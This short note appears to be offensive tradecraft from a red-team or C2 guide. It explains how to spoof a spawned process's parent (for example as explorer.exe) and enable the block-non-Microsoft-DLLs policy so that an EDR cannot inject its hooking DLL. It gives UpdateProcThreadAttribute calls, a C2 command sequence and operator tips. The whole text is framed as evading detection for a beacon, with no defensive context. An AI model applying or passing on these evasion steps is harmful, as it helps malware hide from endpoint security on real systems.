Spoof the parent process and block non-Microsoft DLLs

Detections lean on process ancestry, so a beacon spawning cmd directly stands out. Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS you can make the new process appear to descend from explorer.exe or another expected parent.

// STARTUPINFOEX with parent handle + BLOCKDLL policy
UpdateProcThreadAttribute(si.lpAttributeList,0,PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&hParent,sizeof(HANDLE),0,0);
UpdateProcThreadAttribute(si.lpAttributeList,0,PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,&policy,sizeof(policy),0,0);

The block-DLL policy stops the EDR from injecting its user-mode hooking DLL into the child.

# in your C2: ppid 1234 (explorer pid) then blockdlls on, then spawn

Pro note: the spoofed parent must be a handle you can open with PROCESS_CREATE_PROCESS, and integrity levels must line up. Blocking non-Microsoft DLLs also breaks some injection techniques of your own, so it is a trade you make per task.